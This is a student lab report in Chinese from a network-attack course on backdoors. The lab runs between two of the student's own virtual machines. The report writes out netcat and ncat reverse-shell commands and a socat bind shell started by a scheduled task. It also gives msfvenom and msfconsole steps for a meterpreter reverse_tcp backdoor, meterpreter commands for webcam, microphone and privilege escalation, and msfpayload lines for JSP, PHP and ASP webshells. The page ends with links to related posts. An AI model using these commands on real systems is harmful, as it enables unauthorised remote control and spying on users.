2018-2019-2 网络对抗技术 20165324 Exp2: 后门原理与实践
2018-2019-2 网络对抗技术 20165324 Exp2: 后门原理与实践
课程学习:
后门
- 后门:是不经过正常认证流程而访问系统的通道,存在与编译器、操作系统、固件和应用中等等。
- 后门工作流程:程序→植入→运行→免杀。
后门工具:NC(netcat)
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
NC命令
- 端口扫描
- chat Server
- 文件传输
- 目录传输
- 加密数据
- 流视频
- 打开shell
- 反向shell
课下实验
实验准备:
- 获取IP地址:windows系统IP地址为192.168.44.130、linux系统IP地址为192.168.44.128。
- 软件下载:码云。
实验内容:
- 使用netcat获取主机操作Shell,cron启动 (0.5分)
- 使用socat获取主机操作Shell, 任务计划启动 (0.5分)
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
实验2.1 netcat的使用
window获取linux系统
- Windows 打开监听:
ncat.exe -l -p 5324
。 - Linux反弹连接Win,输入命令
nc 192.168.44.130 -e /bin/sh
。 - Windows下获得一个
linux shell
,可运行任何指令
linux获取windows系统
- Linux运行监听指令,输入命令
nc -l -p 5324
- Windows反弹连接Linux,在ncat目录下输入命令
ncat.exe -e cmd.exe 192.168.44.128 5324
- linux下获得一个
windows cmd
传输文件
- 用nc命令传输文件的格式如下:
目的主机监听:
nc -l 监听端口 > 要接收的文件名
源主机发起请求:
nc 目的主机ip 目的端口
- 将windows作为目的主机,5324作为端口,接受的文件名为hcj.txt。命令行输入:
ncat -l 5324 > hcj.txt
开启监听。 - 将kali作为原主机发送请求,命令行输入:
nc 192.168.44.130 5324 < hcj.txt
- windows下的ncat目录中出现文件。
实验2.2 socat的使用
linux下源码安装
wget http://www.dest-unreach.org/socat/download/socat-1.7.0.1.tar.gz
tar -zxvf socat-1.7.0.1.tar.gz
cd socat-1.7.0.1
./configure --disable-fips
make && make install
- socat:加强版的netcat。
linux获取windows权限
- windows下操作:
- 在Windows7中打开开始菜单,搜索管理工具并打开:
- 找到任务计划程序并打开,点击创建任务
- 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时
- 点击常规选项卡,输入名称(学号)
- 再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写
tcp-listen:5324 exec:cmd.exe,pty,stderr
(作用是把cmd.exe绑定到端口5324,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置 - 点击右栏中的显示所有正在运行的任务,找到刚刚创建的20165324任务,右键点击运行,此时会弹出一个黑色的框框表明成功运行
实验2.3 使用MSF meterpreter、ncat获取主机Shell
MSF meterpreter
- 是一个平台能生成后门程序。这个平台包括后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 运行参数
- meterpreter的剖析:使用msf生成的meterpreter的shellcode,这段shellcode就只干了如下事情:连接服务器,接收载荷,并将控制权转移到载荷。
实验步骤:
- window可执行文件复制到linux下的/home目录
- 命令行输入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=5324 -f exe > 20165324_backdoor.exe
- 参数说明:
- LHOST为攻击者的IP地址,这里使用的是反弹连接攻击
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode,Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
- -e 使用的编码器,用于对shellcode变形,为了免杀
- -i 编码器的迭代次数。如上即使用该编码器编码5次
- -b badchar是payload中需要去除的字符
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
输出到哪个文件
- reverse_tcp表示基于tcp的反向链接反弹shell
基于http方式的反向连接
- 生成的文件通过ncat命令复制到Windows中。
- MSF打开监听:
在Kali Linux中输入msfconsole命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.44.128 //注意此处应为Linux的IP!
set LPORT 5324 //5324为端口号
show options
exploit
- windows下运行20165324_backdoor.exe,双击运行。
- linux获取windows的主动连接,得到远程控制shell。
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 入侵成功后,输入
help
,查看meterpreter提供的命令及功能。 - 常用命令及功能:具体看
help
给定的。download +file path
:下载文件upload+ file path
:上传文件cat filename
:查看文件内容sysinfo
:显示远程主机的系统信息execute -f file
:执行一个命令,如execute -H -f otepad.exe
,参数-H表示隐藏,在后台执行。screenshot
:抓图webcam_snap
:拍照webcam_stream
:录像record_mic
:录音getsystem
:命令提权
- 如图(摄像头没有,程序提示错误。命令提权失败)
实验总结及问题
- MSF meterpreter的错误使用:在生成20165324_backdoor.exe文件时,错误的将windows系统下的一个exe文件传输给linux下,进而对该文件使用meterpreter命令进行修改,实验无果。
- 解决方法:20165324_backdoor.exe该文件是由MSF meterpreter命令直接生成。
- 拓展:生成其他的脚本代码:
msfpayload java/jsp_shell_reverse_tcp LHOST=58.60.195.226 LPORT=1234 R > balckrootkit.jsp
msfcli multi/handler PAYLOAD=java/jsp_shell_reverse_tcp LHOST=58.60.195.226 LPORT=1234 E
msfpayload php/reverse_php LHOST=58.60.195.226 LPORT=1234 R > balckrootkit.php
msfcli multi/handler PAYLOAD=php/reverse_php LHOST=58.60.195.226 LPORT=1234 E
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.167| msfencode -t asp -o webshell.asp
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.0.167 LPORT=443 E
- 实验体会,本次实验只能在理想状态下进行,很多步骤在现实中无法实现,防火墙和入侵检测系统都会对后门程序进行隔离和拒绝。
总体而言,还需要自己不断的学习,期待下一次的免杀实验,自己能进一步的学习好这门课程。
链接
2018-2019-2 网络对抗技术 20165324 Exp2: 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
- 2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践 一.实验内容 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
随机推荐
- ASP.NET Request.Cookies获取某个Cookie的奇怪问题
公司的某个产品依赖一个Cookie的值,发现在某些情况下即使Request附带了该Cookie(通过Fiddler2监控),服务器端通过HttpContext的Request.Cookies访问该Co ...
- Java中的一些性能监控和故障分析工具
这些工具都在JDK的bin目录下,如果配置了java的环境变量,可以直接在命令行里调用这些小工具 jps 查看java进程信息 jstat java虚拟机状态监控工具 jstat -gc(或 -gcn ...
- RabbitMQ 安装和说明
一.安装 1. 下载源码,RabbitMQ是使用Erlang开发,所以安装RabbitMQ前需要先安装Erlang.官方推荐从源码安装Erlang,因此下面开始从源码安装OTP 17.0.下载OTP ...
- Pointer Lock
Pointer Lock API 指针锁定(以前叫做 鼠标锁定) 提供了一种输入方法,这种方法是基于鼠标随着时间推移的运动的(也就是说,deltas),而不仅是鼠标光标的绝对位置.通过它可以访问原始的 ...
- easyui treegrid idField 所在属性中值有花括号(如Guid)当有鼠标事件时会报错,行记录一下
easyui treegrid idField 所在属性中值有花括号(如Guid)当有鼠标事件时会报错,行记录一下
- C++基础知识之动态库静态库
一. 静态库与动态库 库(library),一般是一种可执行的二进制格式,被操作系统载入内存执行. 我们通常把一些公用函数制作成函数库,供其它程序使用.函数库分为静态库和动态库 静态库和动态库区别: ...
- POJ 2406 - Power Strings - [KMP求最小循环节]
题目链接:http://poj.org/problem?id=2406 Time Limit: 3000MS Memory Limit: 65536K Description Given two st ...
- OpenJ_Bailian - 4152 最佳加法表达式 dp
http://bailian.openjudge.cn/practice/4152?lang=en_US 题解 :dp[i][j]代表前i个字符加j个加号可以得到的最小值,于是dp[i+k[j+1]可 ...
- snowflake and uuid
分布式系统中,有一些需要使用全局唯一ID的场景,这种时候为了防止ID冲突可以使用36位的UUID,但是UUID有一些缺点,首先他相对比较长,另外UUID一般是无序的. 有些时候我们希望能使用一种简单一 ...
- ZB api
本文介绍ZB api Rest API (已开启) ZB为用户提供了一个简单的而又强大的API,旨在帮助用户快速高效的将ZB交易功能整合到自己应用当中. 如果在使用过程中有任何问题,请加群764113 ...